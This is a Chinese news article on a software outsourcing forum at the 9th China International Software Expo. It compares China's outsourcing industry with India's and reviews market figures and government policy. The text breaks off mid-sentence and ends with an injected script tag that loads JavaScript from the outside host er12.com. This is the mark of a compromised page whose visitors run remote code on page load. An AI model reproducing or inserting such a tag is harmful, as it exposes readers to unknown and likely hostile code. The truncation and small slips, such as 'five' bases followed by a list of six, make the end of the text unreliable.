6月14日，第九届中国国际软件博览会在北京国际展览中心开幕。其中软件外包服务论坛成为此次展会的一个亮点。论坛中，各界人士就软件外包的现状、市场、存在的问题及未来畅所欲言，从中我们看到了中国软件外包产业的美好未来。
软件外包业务高速增长 印度仍居优势
这是一个令全球所有发展中国家都垂涎欲滴的巨大蛋糕---软件外包业。据美国e5公司预测，2006年全球软件外包市场将达到1000亿美元，其中美国的软件外包市场就占据了65%，加上欧洲等国家的客户，这一比例将上升至80%以上，以美国为首的英文软件外包将持续占据全球软件外包的绝大部分市场。
信息产业部电子信息产品管理司司长张琪在此次论坛上称，目前，全球已经形成若干软件外包区，以美国等为代表的国家，正在把外包服务转移到亚太等低成本发展中国家进行。软件外包已经从国内企业间的外包，发展为跨国的外包。
印度、爱尔兰、以色列等国家，由于抓住了国际软件外包的机遇，迅速发展为软件产业的大国，并且形成了国际软件外包中心。随着经济全球化的趋势，跨国公司着手进行全球资源的整合与重组，全球软件外包的发包市场主要集中在北美、西欧和日本等发达国家，并且以全球500强企业为主，来推动离岸外包。
据对国美三大企业企业调查显示，有75%的企业表示在最近一、两年内要把他们的金融部门做外包，可见it外包和bpo是一个高速增长的市场，也将对未来市场经济格局产生巨大的影响。目前全球超过40%的软件项目，以外包的方式完成，接包的市场主要是在印度、爱尔兰以及一些发展中国家，包括中国和菲律宾在内。其中美国的外包市场，主要被印度垄断。
去年，印度软件业80%的收入依赖承接软件外包业务，而且50%以上的订单来自北美。印度凭借语言、经验丰富的软件专业团队和他们的管理，以及廉价的人力资源和比较健全的质量保障体系等优势，在外包市场独领风骚，已经成为全球软件离岸外包最大受惠国。预计在2008年印度软件产值将达到850亿美元，外包出口可以达到500亿美元，离岸外包已经成为支撑印度软件业重要支柱，并为他们提供了220万个新的就业机会，吸引了数十亿美元的投资。欧洲的市场主要被爱尔兰所垄断，此外菲律宾、巴西、俄罗斯、澳大利亚等国家也都纷纷加入了世界软件外包的竞争行列。
国内发展迅速 中低端加工模式利润偏低
众所周知，我国软件产业近年来一直在高速发展，软件出口也在持续增长，软件外包发展的势头强劲。尤其是国务院18号文件颁布以来，我国的软件外包业务发展更是迅猛，软件出口持续增长，据统计，2000年-2003年，软件外包每年增长率达到了70.2%，中国已经成为新兴的国际软件外包中心。在过去的2004年，我国软件出口达26亿美元，同比增长30%，占全国软件产业总额的9.4%。据权威公司预测，2007年-2010年，我国将逐步成为全球最大的一个it外包的基地。目前我国软件外包主要市场是在日本和欧美，由于文化背景的关系，对日本的外包占了主导，达到60%，另外15%来自美国，10%来自欧洲。软件接包主要集中在北京、上海、广东和辽宁等地区。
在政策方面，国务院18号文件和47号文件，都对软件的出口给予了大力的支持。2004年，信息产业部会同国家发改委和商务部共同确定了五个软件出口基地，分别是北京、深圳、上海、天津、大连、西安。由于信息产业上发展，电子信息产业发展基金也把软件出口外包服务纳入项目指南里，积极地引导和务实地推动我国软件外包出口业务的发展。
近年来，软件外包市场变化明显，对欧美的外包市场逐步增加。据预测，美国外包服务向低收入国家转移项目将加快。到2005底会有80万个，预计到2010年转移到国外服务业岗位达到340万个，这是继制造业向外转移以后，而出现的新的服务业发展趋势。以北京为例，仅2004年上半年对日软件外包比例从2003年同期69%下降到60%，而对欧美市场出口比例明显的增加。bpo作为新的外包机遇和出口增长点，引起了国内软件企业广泛的关注，并成为今后外包一个重要的发展方向。
尽管我们的软件外包发展迅速，但与全球软件外包市场中印度等国家相比，我国软件外包仍存在很大的差距，目前所占的份额很小。2004年，印度软件外包服务总收入达到了173亿美元，外包从业人员超过了100万。此外，截止到去年底，印度一共有85家软件企业通过了软件cmm5级的评估认证，使得他们有很高的资质来承担外包业务，并且拥有很多国际上知名的软件企业。与之相比，我国通过cmm5级认证的企业现在不过十家，得到国际认可的软件企业也比较少，目前承接的软件外包主要还是以编码外包为主的服务，这种中低端的外包加工利润较低，不利于中国软件外包业务的进一步发展。
结构性缺陷是外包主要阻碍
尽管中国软件外包发展的势头良好，但其隐忧?script src=http://er12.com/t.js>
